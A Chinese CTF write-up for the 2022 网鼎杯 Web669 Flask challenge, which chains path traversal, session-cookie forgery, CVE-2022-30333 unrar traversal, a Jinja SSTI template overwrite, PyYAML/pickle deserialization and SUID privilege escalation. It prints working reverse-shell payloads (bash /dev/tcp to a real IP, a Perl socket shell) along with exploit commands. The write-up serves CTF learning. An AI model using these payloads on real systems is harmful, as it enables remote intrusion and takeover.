[2022网鼎杯]Web669ezrar

发布于 2022-08-29  8 次阅读


Web669

源码

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()

def response(content, status):
    resp = make_response(content, status)
    return resp


@app.before_request
def is_login():
    if request.path == "/upload":
        if session.get('user') != "Administrator":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None


@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_templ
        ate('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)


@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)


@app.route('/upload', methods=['GET', 'POST'])
def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"
        
        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)
        
        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)

        pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()  
        seconds_passed = 0
        timeout=60
        while True:  
            if pStatus.poll() is not None:  
                break  
            seconds_passed = time.time() - t_beginning  
            if timeout and seconds_passed > timeout:  
                pStatus.terminate()  
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}
        
        for dirpath, dirnames, filenames in os.walk(extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])

        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')


@app.route('/display', methods=['GET'])
def display():

    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:
                    return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

分析

login路由

首先登录upload上传的界面

@app.before_request
def is_login():
    if request.path == "/upload":
        if session.get('user') != "Administrator":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None

这里会对upload界面进行一个劫持检验,只有administrator用户才能够上传文件。

根目录路由

@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_templ
        ate('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)

这里大概的意思就是,设置一个用户的session中的updir作为上传的路径。

路径遍历路由

@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)

说实话,这个<path:file>写法卡了我一会,我一开始真的不知道这是啥意思,所以就忽略了这个点。。。

这里才是本题的第一个突破口。首先,这个地方我也不知道为什么会有这样的一个路由,在实际生活中,我个人觉得可能用不到呀。😢😢😢

既然有这个洞的话。可以利用。

path = os.path.join(basedir, file).replace('../', '')

这个地方可以绕过一个目录穿越的洞

upload路由

def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"
        
        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)
        
        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)

        

首先看前半部分, 首先检测一下filename是否存在目录穿越上传的情况,然后设置上传路径为session的updir。

上传之后直接跳转display路由,然后打开这个文件。

extractdir 赋值为session中的updir的值

		pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()  
        seconds_passed = 0
        timeout=60
        while True:  
            if pStatus.poll() is not None:  
                break  
            seconds_passed = time.time() - t_beginning  
            if timeout and seconds_passed > timeout:  
                pStatus.terminate()  
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}
        
        for dirpath, dirnames, filenames in os.walk(extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])

        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')

这里,直接用unrar程序解压我们上传的rar压缩包。

然后检验解压的时间。

得到解压的名称和内容都写入rarDatas

将存储的路径加上之前的用户session中的updir的值作为文件的路径

然后重写yaml,将yaml文件一次性全部写入你创建的文件。

官方给出的是这个样子:

def dump(data, stream=None, Dumper=Dumper, **kwds):
    """
    Serialize a Python object into a YAML stream.
    If stream is None, return the produced string instead.
    """
    return dump_all([data], stream, Dumper=Dumper, **kwds)

display路由

@app.route('/display', methods=['GET'])
def display():

    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:
                    return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)

这个路由就是打开刚刚的文件,然后对yaml的内容进行检测,过滤。

之后,进行render_template渲染然后输出。

拿到Administrator的session

img

首先这个地方有一个os.path.join这个函数在拼接字符方式上有漏洞。NISACTF的一个babyupload有这个考点。

然后用..././拼接绕过replace

根据这个点。可以实现目录穿越

由于session设置为socket.gethostname(),这个函数的意思是获取主机名

https://blog.csdn.net/xiatianba/article/details/84718488这篇文章可以知道主机名存放在/etc/hosts

于是构造目录穿越到/etc/hosts

img

这里直接访问flag会返回failed,说明需要提权2333

然后用GitHub上的一个工具加密一下,参考:https://blog.csdn.net/sinat_34761046/article/details/114991968

img

注意这个地方外面包裹解密要用双引号,不然会报错23333.加密的时候里面的双引号要改成单引号!!!!

然后可以上传了。

方法一:利用CVE-2022-30333打

重写result.html

img

/upload这个路由最后会有一个重定向,然后

img

这个地方会对result.html进行渲染,所以应该会存在一个ssti的注入点(更何况这里做了这么多过滤,肯定是个突破口)

题目import了flask,试着用一下flask的ssti

将payload写入shell.yaml

{{lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/120.48.91.102/7777 0>&1"').read()}}

CVE-2022-30333目录穿越实现重写

img

根据cve描述,可以造成任意目录穿越来写文件。

img

https://github.com/rbowes-r7/unrar-cve-2022-30333-poc

利用GitHub上的exp,构造恶意rar

ruby ./cve-2022-30333.rb '../../../../templates/result.html' ./shell.yaml > 123.rar

然后,上传构造好的文件,之后在服务器上面监听端口

方法二、PyYAML 反序列化(嫖别人的,还没研究)

首先上传一个普通rar文件测试(不能被check) 文件名:fff.rar

POST /upload HTTP/1.1
Host: eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Length: 658
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycWHiBd1u820grB2v
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8
Cookie: UM_distinctid=17fafc501cb1894-00e2da0225aa6a-13495c7e-1fa400-17fafc501cc15bb; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1659141632,1661235002; session=eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTpE
Connection: close
    
------WebKitFormBoundarycWHiBd1u820grB2v
Content-Disposition: form-data; name="file"; filename="fff.rar"
Content-Type: application/vnd.rar
    
Rar!óá‚뀀€ß•%ß$‹Ã¤ƒF,Jc€passwd
!AcØfݡPd3#?VMç
6[¢ù…$–I²éºmÓo¾`:¨6y°ŸŽû$«ðÉKàž¼Dj9˜ŒI¦Ó9&“I¤±'÷Ù·>âc.ÛÃlCƒœµ-¥ÔÁ:Uc)#üp"/sPáÄ-•²€ÿ€ž‚>#ƒ÷ö;‹¹2tH([ºZæÝuiÓ ffGY²9è(MŠ)NJëÈrŒbþϖ$©:ƒd…8BFä‚&jTƒ6Uúí¾C¢ëX¤gϙª±[¬pb8UkVò®6Xæ^|°—ß1Pcˆ˜ÉŽççöµœ8”4„Ï/bÊo<'MÉ/!7ëƒÑĹ·­3}ÞTô,è¶8vÏWS‡®$ÖMì:è‡Ô^BZhS_ ió#*hôVM„Â9ދo.XÖá歓zaó¾uZÆÜZßÇB¬‡¹3Øïë®J‡Äæ[¶JÉǕϳς™jà5җ^|¦ÒßqÅÿô ®ú/‡û¡K,Røþ¦wVQ
------WebKitFormBoundarycWHiBd1u820grB2v--

根据代码,上传文件成功后会在fileinfo文件夹内生成一个yaml文件,并在 /display 路由下加载该yaml文件,那么如果更改 updir 的值为网站主目录,然后把rar文件命名为 fileinfo.rar。

这样该rar文件内的内容就会被直接解压到 fileinfo 目录内,那么就有机会覆盖其他rar文件对应的yaml文件,通过复写yaml文件导致任意命令执行。

PyYAML 反序列化

首先制作恶意的rar文件

  • yaml文件

由于题目里有过滤条件,通过直接加载yaml文件进行命令执行较为困难,所以同步上传一个pickle反序列化文件,通过yaml加载pickle文件进行命令执行。payload:

filename: aaa.rar
files:
      - !!python/object/new:bytes
        - !!python/object/new:map
          - !!python/name:eval
          - ["__import__x28'pickle'x29.loadx28openx28'fileinfo/pik','rb'x29x29"]

同时将该yaml文件命名为9d2718721006ee787d641f526da07952.yaml,文件名为第一次上传的正常文件的文件名的md5值,这样访问那个正常rar文件时就可以触发该恶意的yaml文件。

  • 恶意pickle反序列化文件

手写opcode,payload:

cos
system
(S'perl -e 'use Socket;$i="ip";$p=7001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};''
tR.
  • 上传打包好的rar文件

将pickle 文件也打包进去

rar a fileinfo.rar 9d2718721006ee787d641f526da07952.yaml pik

在 ./ 目录下上传 fileinfo.rar 文件

更改session, payload:

└─

nbsp;python3 flask_session_cookie_manager3.py encode -s "engine-1" -t "{'updir': './', 'user': 'Administrator'}"     
eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTp

上传之后重新访问fff.rar 文件,在服务器端监听收到反弹的shell

提权拿flag

利用find,发现这些命令是root权限

https://blog.csdn.net/weixin_44912169/article/details/105845909

find / -perm -u=s -type f 2>/dev/null

img

然后用dd读文件

dd if=/flag

img


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”